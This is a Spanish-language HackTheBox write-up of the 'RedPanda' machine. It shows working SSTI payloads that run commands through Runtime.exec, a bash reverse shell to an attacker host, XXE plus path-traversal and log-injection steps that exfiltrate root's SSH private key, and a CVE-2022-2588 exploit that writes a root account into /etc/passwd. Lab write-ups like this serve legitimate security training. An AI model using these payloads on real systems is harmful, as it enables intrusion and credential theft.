xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

RedPanda



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap, donde encontramos abiertos solo 2 puertos 22 y 8080 (ssh y http respectivamente)

❯ nmap 10.10.11.170
Nmap scan report for 10.10.11.170  
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Usando whatweb podemos ver que en el titulo de la pagina nos dice que la web esta corriendo por detrás Spring Boot que es un Framework de Java

❯ whatweb http://redpanda.htb:8080
http://redpanda.htb:8080 [200 OK] Content-Language[en-US]  
Country[RESERVED][ZZ]
HTML5
IP[10.10.11.170]
Title[Red Panda Search | Made with Spring Boot]

Al abrir en la web tenemos un buscador de pandas rojos con un cuadro de busqueda

El buscador muestra una linea con nuestro input y los matches que encuentra


Shell - woodenk


En payloadsallthethings , en el apartado de Server Side Template Injection podemos ver en el apartado de Java que el framework Spring esta contemplado

La inyección básica *{7*7} se realiza para ver si computa el resultado 49, si lo hace significa que es vulnerable, en este caso al enviarlo podemos ver que lo es

El segundo payload ejecuta el comando id usando el método exec() de la clase Runtime, y utiliza getInputStream() para mostrar el output del comando

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}  

Al enviarla el comando id se ejecuta y lo que devuelve el output nos muestra que lo ejecutamos como el usuario woodenk que curiosamente es parte del grupo logs

Lo que haremos para hacernos una reverse shell para empezar sera crear un archivo index.html con una reverse shell en bash y lo compartimos con un servidor python

❯ cat index.html
bash -i >& /dev/tcp/10.10.14.10/443 0>&1

❯ sudo python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  

Ahora cambiamos el comando id por el comando curl 10.10.14.10 -o /tmp/rev para que nos descargue el index y lo guarde en /tmp/rev, no lo pipeamos con bash ya que el caracter | no se interpreta correctamente al ejecutarse

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl 10.10.14.10 -o /tmp/rev').getInputStream())}  

Lo enviamos en el buscador y aunque no vemos output nos llega la petición en el servidor de python, asi que ha descargado el archivo con la reverse shell

❯ sudo python3 -m http.server 80  
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.11.170 - - "GET / HTTP/1.1" 200 -

Ahora cambiamos el comando por bash /tmp/rev para que nos envie la reverse shell

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/rev').getInputStream())}  

Enviamos en el buscador y recibimos una shell como el usuario woodenk en nuestro listener de netcat, ahora podemos leer la primera flag de la máquina

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.170
woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)  
woodenk@redpanda:/tmp/hsperfdata_woodenk$ hostname -I
10.10.11.170
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cat ~/user.txt   
b37**************************25c
woodenk@redpanda:/tmp/hsperfdata_woodenk$


Shell - root


Vamos a repasar, somos parte del grupo logs, si buscamos con find archivos que tengan ese grupo asignado podemos encontrar varios archivos entre ellos uno de logs

woodenk@redpanda:~$ find / -group logs 2>/dev/null | grep -vE '/proc|/home|/tmp'  
/opt/panda_search/redpanda.log
/credits
/credits/damian_creds.xml
/credits/woodenk_creds.xml
woodenk@redpanda:~$

Revisando los permisos del archivo redpanda.log podemos ver que tenemos permiso de escritura aunque el archivo no tiene ningun contenido por ahora

woodenk@redpanda:/opt/panda_search$ ls -l redpanda.log  
-rw-rw-r-- 1 root logs 1 Mar 17 05:44 redpanda.log
woodenk@redpanda:/opt/panda_search$ cat redpanda.log

woodenk@redpanda:/opt/panda_search$

Después de enumerar un poco lo que hay dentro de la máquina podemos encontrar una ruta que contiene varios archivos de configuración java

woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/hackthebox/panda_search$ ls -l  
-rw-rw-r-- 1 root root 4321 Jun 20  2022 MainController.java
-rw-rw-r-- 1 root root  779 Feb 21  2022 PandaSearchApplication.java
-rw-rw-r-- 1 root root 1800 Jun 14  2022 RequestInterceptor.java
woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/hackthebox/panda_search$

En una parte del codigo del archivo MainController.java encontramos en searchPanda define una variable conn que tiene credenciales para la base de datos

public ArrayList searchPanda(String query) {

    Connection conn = null;
    PreparedStatement stmt = null;
    ArrayList<ArrayList> pandas = new ArrayList();
    try {
        Class.forName("com.mysql.cj.jdbc.Driver");
        conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");  
        stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
        stmt.setString(1, "%" + query + "%");
        ResultSet rs = stmt.executeQuery();
        while(rs.next()){
            ArrayList<String> panda = new ArrayList<String>();
            panda.add(rs.getString("name"));
            panda.add(rs.getString("bio"));
            panda.add(rs.getString("imgloc"));
    panda.add(rs.getString("author"));
            pandas.add(panda);
        }
    }catch(Exception e){ System.out.println(e);}
    return pandas;
}

Las credenciales también son válidas para ssh, sin embargo de esa manera no tenemos el grupo logs, asi que es mejor idea quedarse con la shell de la web

❯ ssh woodenk@10.10.11.170
woodenk@redpanda.htb's password: RedPandazRule
woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)  
woodenk@redpanda:~$

En el archivo RequestInterceptor.java se encarga de generar los logs de peticiones

public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {  
    System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
    String UserAgent = request.getHeader("User-Agent");
    String remoteAddr = request.getRemoteAddr();
    String requestUri = request.getRequestURI();
    Integer responseCode = response.getStatus();
    /*System.out.println("User agent: " + UserAgent);
    System.out.println("IP: " + remoteAddr);
    System.out.println("Uri: " + requestUri);
    System.out.println("Response code: " + responseCode.toString());*/
    System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
    FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
    BufferedWriter bw = new BufferedWriter(fw);
    bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
    bw.close();
}

Segun lo que podemos ver la estetica de los valores separados por || es la siguiente

[ResponseCode] || [RemoteAddress] || [UserAgent] ||  [RequestUri]  

Para ver esto de forma mas clara hacemos una petición y revisamos el log que crea

❯ curl -s http://redpanda.htb:8080/testing | jq   
{
  "timestamp": "0000-00-00T00:00:00.000+00:00",
  "status": 404,
  "error": "Not Found",
  "message": "",
  "path": "/testing"
}

El archivo tiene la estética que hemos visto antes, simplemente lo comprobamos

woodenk@redpanda:/opt/panda_search$ cat redpanda.log  

404||10.10.14.10||curl/7.87.0||/testing
woodenk@redpanda:/opt/panda_search$

Otro archivo bastante interesante es App.java que podemos encontrar en otra ruta

woodenk@redpanda:/opt/credit-score/LogParser/final/src/main/java/com/logparser$ ls -l  
-rw-rw-r-- 1 root root 3707 Jun 20  2022 App.java
woodenk@redpanda:/opt/credit-score/LogParser/final/src/main/java/com/logparser$

Leeremos el método main para y desglosaremos lo demas mientras lo analizamos

public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {  
    File log_fd = new File("/opt/panda_search/redpanda.log");
    Scanner log_reader = new Scanner(log_fd);
    while(log_reader.hasNextLine())
    {
        String line = log_reader.nextLine();
        if(!isImage(line))
        {
            continue;
        }
        Map parsed_data = parseLog(line);
        System.out.println(parsed_data.get("uri"));
        String artist = getArtist(parsed_data.get("uri").toString());
        System.out.println("Artist: " + artist);
        String xmlPath = "/credits/" + artist + "_creds.xml";
        addViewTo(xmlPath, parsed_data.get("uri").toString());
    }

}

Analizemos, inicia creando un objeto de tipo File el cual apunta al redpanda.log, despues crea un objeto de tipo Scanner que se encarga de leerlo linea por linea

File log_fd = new File("/opt/panda_search/redpanda.log");  
Scanner log_reader = new Scanner(log_fd);

Ahora mediante un bucle itera por cada linea almacenando su valor en la variable line, y llama a la función isImage para hacer una comprobación, si devuelve true seguira el flujo de lo contrario pasará a la siguiente linea del archivo de logs

while(log_reader.hasNextLine())
{
    String line = log_reader.nextLine();  
    if(!isImage(line))
    {
        continue;
    }

Veamos la comprobación, la función isImage recibe un atributo llamado filename el cual es la linea, solo si la linea tiene la string .jpg en su contenido devuelve true

public static boolean isImage(String filename){  
    if(filename.contains(".jpg"))
    {
        return true;
    }
    return false;
}

Volviendo al main, este define una variable llamada parsed_data que contiene un mapa que devulve la función con el nombre parseLog

Map parsed_data = parseLog(line);  

La función parseLog recibe la linea y con split crea un mapa en el cual los campos los toma separandolos mediante los || que es la estructura de logs que vimos antes

public static Map parseLog(String line) {
    String[] strings = line.split("\\|\\|");
    Map map = new HashMap<>();
    map.put("status_code", Integer.parseInt(strings[0]));  
    map.put("ip", strings[1]);
    map.put("user_agent", strings[2]);
    map.put("uri", strings[3]);

    return map;
}

Ahora el main define una string llamada artist que es el resultado de la función getArtist pasandole como argumento el campo uri que obtiene de parsed_data

String artist = getArtist(parsed_data.get("uri").toString());  

La función getArtist recibe un argumento uri el cual es agregado a una ruta y se define en una variable fullpath la cual será un archivo de imagen, de este archivo extrae la metadata del campo Artist y retorna su valor solo si es que existe

public static String getArtist(String uri) throws IOException, JpegProcessingException  
{
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
    for(Directory dir : metadata.getDirectories())
    {
        for(Tag tag : dir.getTags())
        {
            if(tag.getTagName() == "Artist")
            {
                return tag.getDescription();
            }
        }
    }

    return "N/A";
}

Finalmente el main define una variable xmlPath que vale una ruta conformada por /credits/ más el campo artist que recibe de getArtist y al final le agrega _creds.xml, después llama a addViewTo y le pasa como argumentos el xmlPath y uri

String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());  

Vamos a la función addViewTo, resumiendo su funcionamiento interpreta el xml, realiza una condición si el uri de la imagn coincide con el uri que recibió como paramtetro, si se cumple aumenta el total de views, y finalmente reescribe el XML

public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
    SAXBuilder saxBuilder = new SAXBuilder();
    XMLOutputter xmlOutput = new XMLOutputter();
    xmlOutput.setFormat(Format.getPrettyFormat());

    File fd = new File(path);
    
    Document doc = saxBuilder.build(fd);
    
    Element rootElement = doc.getRootElement();

    for(Element el: rootElement.getChildren())
    {


        if(el.getName() == "image")
        {
            if(el.getChild("uri").getText().equals(uri))
            {
                Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;  
                System.out.println("Total views:" + Integer.toString(totalviews));
                rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                Integer views = Integer.parseInt(el.getChild("views").getText());
                el.getChild("views").setText(Integer.toString(views + 1));
            }
        }
    }
    BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
    xmlOutput.output(doc, writer);
}

Analizemos, la variable artist sale de el campo Artist de la metadata de la imagen con esa variable se conforma la ruta del xml que se interpreta con la función anterior

"/credits/" + artist + "_creds.xml"  

Podemos tomar una imagen cualquiera y con exiftool modificar en el metadato Artist para aplicar un Directory Path Traversal, retroceder un directorio y apuntar a el home donde tenemos capacidad de escritura, el artist lo dejaremos como artist

❯ exiftool -Artist="../home/woodenk/artist" image.jpg  
    1 image files updated

De este modo la ruta del xml queda en una ruta en la que podemos leer y escribir

"/credits/" + "../home/woodenk/artist" + "_creds.xml"  

/credits/../home/woodenk/artist_creds.xml

/home/woodenk/artist_creds.xml

Para el archivo xml usaremos uno de los ejemplos que tenemos en la máquina

woodenk@redpanda:/credits$ ls -l
-rw-r----- 1 root logs 422 Mar 17 03:26 damian_creds.xml
-rw-r----- 1 root logs 426 Mar 17 03:26 woodenk_creds.xml  
woodenk@redpanda:/credits$ cat damian_creds.xml  
<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>damian</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/shy.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/crafty.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/peter.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>1</totalviews>
</credits>
woodenk@redpanda:/credits$

Aplicaremos un XML External Entity de toda la vida, tomaremos como base el xml y crearemos el nuestro, definimos una entidad key que tendra como valor un archivo la id_rsa del usuario root que la llamaremos en el campo author

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa"> ]>  
<credits>
  <author>&key;</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</credits>

Tanto el image.png con la metadata modificada como el xml con el nombre artist_creds.xml debemos subirlas a la máquina victima en /home/woodenk

woodenk@redpanda:~$ ls -l  
-rw-rw-r-- 1 woodenk logs      642 Mar 17 06:20 artist_creds.xml  
-rw-rw-r-- 1 woodenk logs    33535 Mar 17 06:12 image.jpg
-rw-r----- 1 woodenk woodenk    33 Mar 17 03:02 user.txt
woodenk@redpanda:~$

Ahora realizaremos una petición con cualquier cosa seguida de || seguida de un Directory Path Traversal hacia el image.jpg, esto como campo de User-Agent

❯ curl http://redpanda.htb:8080 -A "test||/../../../../../../../home/woodenk/image.jpg"  

De forma que el archivo que tiene los logs represente los datos de la siguiente manera

woodenk@redpanda:/opt/panda_search$ cat redpanda.log  

200||10.10.14.10||test||/../../../../../../../home/woodenk/image.jpg||/  
woodenk@redpanda:/opt/panda_search$

De esta forma el campo uri que apunta a la imágen tendrá el siguiente valor

"/opt/panda_search/src/main/resources/static" + "/../../../../../../../home/woodenk/image.jpg"  

/opt/panda_search/src/main/resources/static/../../../../../../../home/woodenk/image.jpg

/home/woodenk/image.jpg

Asi cuando se ejecute la tarea en unos segundos, extraerá la metadata de la imagen y la ruta del xml sera la que definimos con exiftool, al interpretarse el xml y volver a escribirlo deberiamos poder ver la entidad key interpretada, la id_rsa de root

woodenk@redpanda:~$ cat artist_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace>
<credits>
  <author>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ  
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</author>
  <image>
    <uri>/img/angy.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</credits>
woodenk@redpanda:~$

Finalmente con la id_rsa de root podemos conectarnos sin contraseña y leer la flag

❯ ssh root@10.10.11.170 -i id_rsa
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)  
root@redpanda:~# hostname -I
10.10.11.170
root@redpanda:~# cat root.txt  
ff0**************************4f2
root@redpanda:~#


Extra - root


Otra forma de excalar privilegios es aprovechandonos del CVE-2022-2588, al ejecutar el exploit agrega al archivo /etc/passwd un usuario con credenciales user:user

woodenk@redpanda:~$ ./exp_file_credential
self path /home/woodenk/./exp_file_credential
prepare done
Old limits -> soft limit= 14096 	 hard limit= 14096 
starting exploit, num of cores: 2
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 29, 821
start slow write
closed overlap
got cmd, start spraying /etc/passwd
write done, spent 0.622858 s
should be after the slow write
spray done
succeed
woodenk@redpanda:~$ head -n1 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash  
woodenk@redpanda:~$

Ahora nos convertimos en user y al tener el id 0 nos otorga una shell como root

woodenk@redpanda:~$ su user
Password: user
# whoami
user
# hostname -I
10.10.11.170 
# cat /root/root.txt
531**************************7dc  
#